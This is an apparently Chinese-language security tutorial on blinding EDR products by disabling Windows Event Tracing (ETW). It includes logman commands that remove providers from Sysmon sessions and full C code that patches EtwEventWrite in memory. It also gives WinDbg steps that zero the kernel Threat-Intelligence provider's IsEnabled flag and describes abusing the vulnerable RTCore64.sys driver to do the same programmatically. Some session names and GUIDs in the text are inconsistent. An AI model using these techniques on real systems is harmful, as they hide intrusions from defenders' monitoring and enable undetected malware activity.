微软将ETW定义为操作系统提供的通用、高速追踪设施。这意味着它允许 Windows 从用户模式应用程序和内核模式驱动程序中收集详细的事件数据。ETW使用缓冲和日志记录机制,为用户模式应用程序和内核模式驱动程序生成的事件提供追踪功能。由于ETW提供了传输遥测数据的安全通道,这使得EDR深度依赖于它。这些遥测数据是EDR进行有效威胁检测、记录和响应的关键。
Etw基本了解
所以,如果我们能够破坏ETW,就可以直接让EDR“致盲”。
ETW主要由四个核心模块构成:提供者(Provider)、消费者(Consumer)、会话(Session)和控制器(Controller)。
首先来看ETW提供者。它负责生成事件并将其写入到ETW追踪会话中。Windows 系统本身已有内核提供者,但不仅限于此。用户应用程序也可以定义自己的提供者,并配有独特的事件。
消费者用于消费ETW追踪会话中的事件。消费者一般会订阅ETW追踪会话,然后开始实时处理事件。除了订阅会话,它也可以通过读取已存储的日志文件来工作。消费者可以由用户或应用程序创建。一个消费者可以订阅多个ETW追踪会话。
控制器用于控制ETW追踪会话的启动和停止,管理事件的流出,并设置存储事件数据的日志文件。 它还负责管理会话缓冲区,并追踪统计信息,例如使用了多少缓冲区,已传递或丢失了多少数据。
现在,让我们使用 logman 工具来查询ETW提供者。如果要获取内置ETW提供者的数量,可以使用以下命令:
logman query providers | find /c /v ""
如下图所示,我们得知系统内置的ETW提供者数量为 1175 个。

现在,我们列出所有内置的ETW提供程序及其对应的 GUID:
logman query providers

获取提供者列表后,我们可以专注于查找特定提供者所发出的事件类型,从而了解它正在监控哪些活动。可以通过以下命令查询:
logman query providers <提供者名称>
在下面的示例中,我们查询 Microsoft-Windows-Threat-Intelligence 提供者及其具备的功能。该提供者会记录本地和远程进程中的内存分配以及内存保护等关键安全事件。

接下来,我们来查询系统中正在运行的ETW追踪会话。这些会话用于实时收集遥测数据。以下命令列出了ETW追踪会话及其运行状态:
logman query -ets
下图显示了我们熟悉的 Sysmon 追踪会话,它使用了两个会话:SYSMON TRACE 和 SysmonBtTwSession(原文为 SysmonDnsEtwSession)。SYSMON TRACE 会话正在捕获由Sysmon驱动程序发送的内核回调数据,如进程创建、线程创建、映像加载、注册表修改、对象操作及微过滤器操作等。这些遥测数据最终都会被写入 SYSMON TRACE 会话。
另一个是 SysmonBtTwSession 会话,该会话用于收集 DNS 遥测数据。这个提供者可以使用 logman 工具在用户模式下被禁用。

需要注意的是,一些EDR产品会隐藏它们的追踪会话以进行自我保护。例如 Windows Defender,我们在 logman 的输出中通常看不到它的 DefenderAuditLogger 和 DefenderAPILogger 会话。它们没有出现是因为这些会话受到保护,阻止了用户模式的直接访问。
现在,我们列出指定追踪会话中所包含的ETW提供者。
以下示例中,我们列出 SymantecMailToSession 会话中的提供者。可以看到 Microsoft-Windows-DNS-Client 是该会话的提供者。这意味着会话通过此提供者来收集 DNS 遥测数据。
logman query SymantecMailToSession -ets

现在,让我们看看如何从用户模式禁用ETW提供者。
在此之前,需要了解普通ETW提供者和安全ETW提供者的区别。普通ETW提供者可以从用户模式访问和修改,它们很容易遭到篡改或禁用。而EDR使用的安全ETW提供者受到用户模式的保护,如果没有以 Protected Process Light (PPL) 方式运行的服务或进程,则无法轻易禁用或查询。
因此,要禁用普通的ETW提供者,我们可以使用如下命令:
logman update trace <会话名称> -p <提供者名称> -ets
logman update trace SysmonDnsEtwSession -p Microsoft-Windows-DNS-Client -ets
如下图所示,禁用之后,我们重新查询 SysmonDnsEtwSession 追踪会话,其中已经没有ETW提供程序了。这意味着 Sysmon 将无法再获取 DNS 遥测数据。

接下来,我们将使用一个 Javascript 脚本来枚举系统中所有的ETW消费者(包括安全提供者)。对于每一个进程,它将显示它作为消费者正在从哪些会话收集ETW事件,以及有哪些提供者正在向这些会话写入事件。
脚本地址:https://github.com/trailofbits/WinDbg-Js/blob/main/EtwKernelRoutines.js
在WinDbg中,使用以下命令来枚举所有ETW消费者及其会话:
dx @$cursession.Processes.Select(p=> @$scriptContents.EtwConsumersForProcess(p))

如上图所示,svchost.exe 作为一个ETW消费者,其追踪会话的名称为 UBPM。ETW提供程序产生遥测数据,最终写入 UBPM 追踪会话,由 svchost.exe 进行消费。
如果我们只想枚举特定进程的ETW信息,则需要指定 PID。例如,查看 Sysmon 进程(假设PID为0x918):
dx @$scriptContents.EtwConsumersForProcess(@$cursession.Processes.Where(p => p.Id == 0x918).First())
可以看到 Sysmon 关联了两个追踪会话:SYSMON TRACE 会话没有关联提供程序,而 SysmonDnsEtEvent 会话有一个ETW提供程序,其GUID为 {C193126E-7EEA-49A9-A3FE-A3780B3DCDB4D}。

我们可以查询该GUID对应哪个ETW提供程序:
logman query providers {1C95126E-7BEA-49A9-A3FE-A378B03DDB4D}
可以看到,该GUID对应的正是 Microsoft-Windows-DNS-Client。

那么,我们可以像之前一样,使用 logman update trace 命令将其从会话中移除,使Sysmon无法捕获DNS查询数据。
用户层Bypass ETW
现在,我们来看看如何通过修补 EtwEventWrite API函数来禁用用户模式ETW提供程序的事件生成。该API函数被用户模式ETW提供程序用来将事件写入EDR消费者所在的会话中,以便检测我们的操作,例如进程中是否正在加载 .Net 脚本或程序集。
实现思路如下:
- 通过
GetModuleHandle 配合 GetProcAddress 函数获取 EtwEventWrite 函数的地址。该函数在 Ntdll 模块中导出。
- 修改其内存页的保护属性,从
RX(可读可执行)更改为 RW(可读可写)。这里使用 VirtualProtect 或底层的 NtProtectVirtualMemory 函数。
- 修补
EtwEventWrite 函数的开头指令,写入操作码 0x48, 0x33, 0xc0, 0xc3。该操作码对应 xor rax, rax; ret。在x64调用约定中,RAX 寄存器存储返回值,将其清零并返回,意味着函数调用“成功”且不执行任何实际操作。
以下是实现代码:
#include<windows.h>
#include<stdio.h>
typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtection,
OUT PULONG OldProtection
);
typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite,
_Out_opt_ PSIZE_T NumberOfBytesWritten
);
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
void PatchEtw(HANDLE hProcess){
//获取到EtwEventWrite函数地址
HMODULE NtdllModule = GetModuleHandleA("ntdll.dll");
PVOID pAddress = GetProcAddress(NtdllModule,"EtwEventWrite");
//定义Patch的字节 //xor rax rax ret
char etwPath[] = { 0x48,0x33,0xc0,0xc3 };
PVOID baseAddress = pAddress; // 需要一个变量来存放地址
SIZE_T regionSize = 4; // 明确指定 Patch 大小
ULONG oldProtect = 0;
//获取到NtProtectVirtualMemory函数地址和NtWriteVirtualMemory地址
fnNtWriteVirtualMemory NtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(NtdllModule, "NtWriteVirtualMemory");
fnNtProtectVirtualMemory NtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(NtdllModule, "NtProtectVirtualMemory");
//修改EtwEventWrite保护属性
DWORD OldProtect = NULL;
NTSTATUS status = NtProtectVirtualMemory(
hProcess,
&baseAddress,
®ionSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
//写入修补字节
SIZE_T NumberOfBytes = NULL;
NtWriteVirtualMemory(hProcess, pAddress, (PVOID)etwPath, sizeof(etwPath),&NumberOfBytes);
//将保护权限改回来
NTSTATUS status1 = NtProtectVirtualMemory(
hProcess,
&baseAddress,
®ionSize,
PAGE_EXECUTE_READ,
&oldProtect
);
}
int main()
{
//打开当前进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE,
GetCurrentProcessId());
//Patch Etw
PatchEtw(hProcess);
}


效果测试:
我们编写一个加载CLR(.NET运行时)的代码。加载CLR通常会触发 Microsoft-Windows-DotNETRuntime 提供者通过 EtwEventWrite API向ETW会话写入.NET事件。我们通过对比Patch前后的事件捕获情况来验证效果。
首先,在不修补 EtwEventWrite 的情况下进行测试。在运行测试程序前,需要启动一个用于拦截.NET事件的ETW会话:
logman start DotNETevents -p Microsoft-Windows-DotNETRuntime 0x1CCBD 0x5 -ets -ct perf
该命令启动一个名为 DotNETevents 的ETW会话,监听 Microsoft-Windows-DotNETRuntime 提供者,关键字 0x1CCBD 用于过滤特定类型的.NET事件。
然后运行我们的CLR加载程序(PID为304),之后停止追踪会话:
logman stop DotNETevents -ets

会话会生成一个 .etl 日志文件,我们可以使用 tracerpt 工具将其转换为可读的XML格式:
tracerpt DotNETevents.etl

打开生成的 dumpfile.xml,搜索 ProcessID="304" 的事件。可以看到,CLR加载事件被成功捕获。

现在,启用 PatchEtw 函数后,重复上述步骤。再次在日志中搜索测试进程的PID(此时为296),会发现相关的事件已经消失,证明了Patch的有效性。


内核层Bypass ETW
现在让我们将目光转向内核模式的ETW提供程序。我们从其注册机制开始分析。将 Ntoskrnl.exe 加载到 IDA PRO 中,查看导出函数 EtwRegister 的交叉引用,可以发现在系统初始化过程中,有大量调用用于注册各种内核提供程序。

例如,在某个函数中,它正在注册一个GUID为 INTSTEER_ETW_PROVIDER 的提供程序。EtwRegister 的最后一个参数是输出参数,函数执行后,会在此参数指向的地址中写入一个注册句柄(RegHandle)。这个句柄是后续调用 EtwWrite 或 EtwWriteEx 函数向ETW会话写入事件的必要凭证。


在 EtwpInitialize 等系统初始化例程中,注册了大量的内核提供程序,例如磁盘(DiskProvGuid)、网络(NetProvGuid)等,这些都可以通过 logman query providers 命令查看到。

对于第三方驱动程序,如杀毒软件的过滤器驱动(例如 WdFilter.sys),它们也会在驱动入口函数中调用 EtwRegister 来注册自己的提供程序。例如,WdFilter 注册的提供程序是 Microsoft-Antimalware-AMFilter,其注册句柄为 Microsoft_Antimalware_AMFilter_Context。该句柄随后在驱动程序的各个事件上报函数(如 McGenEventWrite_EtwWriteTransfer)中被使用。


利用Windbg手动禁用ETW提供程序
现在,我们看看如何在内核调试器 Windbg 中手动禁用某个ETW提供程序。这里以系统内核的威胁情报提供程序为例。
- 定位注册句柄地址:首先获取
EtwThreatIntProvRegHandle 这个全局符号的地址。
x nt!EtwThreatIntProvRegHandle

- 解析ETW_REG_ENTRY结构:对句柄地址解引用,获取其指向的
_ETW_REG_ENTRY 结构。
dq ffff807`79619998 L1
dt nt!_ETW_REG_ENTRY <上面得到的值>

- 找到GUID_ENTRY:在
_ETW_REG_ENTRY 结构偏移 0x20 处是 GuidEntry 成员,指向 _ETW_GUID_ENTRY 结构。
dq <RegHandle_Value>+0x20 L1
dt nt!_ETW_GUID_ENTRY <得到的GuidEntry地址>

- 定位启用信息:在
_ETW_GUID_ENTRY 结构偏移 0x60 处是 ProviderEnableInfo 成员,它是一个 _TRACE_ENABLE_INFO 结构,其中的 IsEnabled 字段(偏移0)决定了提供程序是否启用。
dt nt!_TRACE_ENABLE_INFO <GuidEntry地址>+0x60

- 修改IsEnabled字段:将
IsEnabled 的值从 1 改为 0 即可禁用该提供程序。
eb <GuidEntry地址>+0x60 0x00

- 验证状态:可以使用一条组合命令快速查看或修改状态。
利用漏洞驱动(RTCore64.sys)在内核中禁用ETW
手动调试的方法虽然直观,但实战中我们需要通过程序化手段实现。这里以利用存在任意读写漏洞的 RTCore64.sys 驱动程序为例,演示如何编程禁用ETW提供程序。
思路如下:
- 解析偏移量:首先需要获取关键内核结构在
ntoskrnl.exe 中的偏移量,包括 EtwThreatIntProvRegHandle 的偏移、_ETW_REG_ENTRY 中 GuidEntry 的偏移、_ETW_GUID_ENTRY 中 ProviderEnableInfo 的偏移。这可以通过解析微软的PDB符号文件来完成。

- 计算内存地址:利用驱动漏洞的任意读能力,结合
ntoskrnl 的基地址和第一步得到的偏移量,层层递进地读取内存,最终计算出 ProviderEnableInfo 的地址。
- 获取
ntoskrnl 基地址。
EtwThreatIntProvRegHandle 地址 = 基地址 + 偏移量A。
- 读取该地址处的值,得到
_ETW_REG_ENTRY 地址。
_ETW_GUID_ENTRY 地址 = _ETW_REG_ENTRY 地址 + GuidEntry偏移量(0x20)。
ProviderEnableInfo 地址 = _ETW_GUID_ENTRY 地址 + ProviderEnableInfo偏移量(0x60)。

- 读取/修改状态:读取
ProviderEnableInfo 地址处的一个字节(即 IsEnabled 的值)。根据用户传入的参数(-s 查看状态,-d 禁用,-e 启用),通过驱动漏洞的任意写能力修改该字节为 0x00 或 0x01。

执行效果:
执行工具传入 -d 参数禁用提供程序:
ETWProvDisable.exe -d ntoskrnl.exe

再次执行工具传入 -s 参数查看状态,确认 IsEnabled 值已变为 0x00:
ETWProvDisable.exe -s ntoskrnl.exe

总结
本文深入探讨了Windows ETW(事件追踪)技术的架构与工作原理,并详细演示了在用户层和内核层对其进行攻击和绕过的多种技术。从使用系统自带工具 logman 查询和操作普通会话,到通过逆向工程了解内核及第三方驱动的ETW注册机制,再到利用内存Patch、内核调试以及漏洞驱动实现实际的禁用操作,我们完成了一次完整的安全/渗透技术研究链条。理解这些底层机制,对于逆向工程人员深入分析恶意软件行为、对于防守方加固系统/内核级监控都具有重要意义。希望这篇文章能为你在云栈社区的相关技术探索中提供有价值的参考。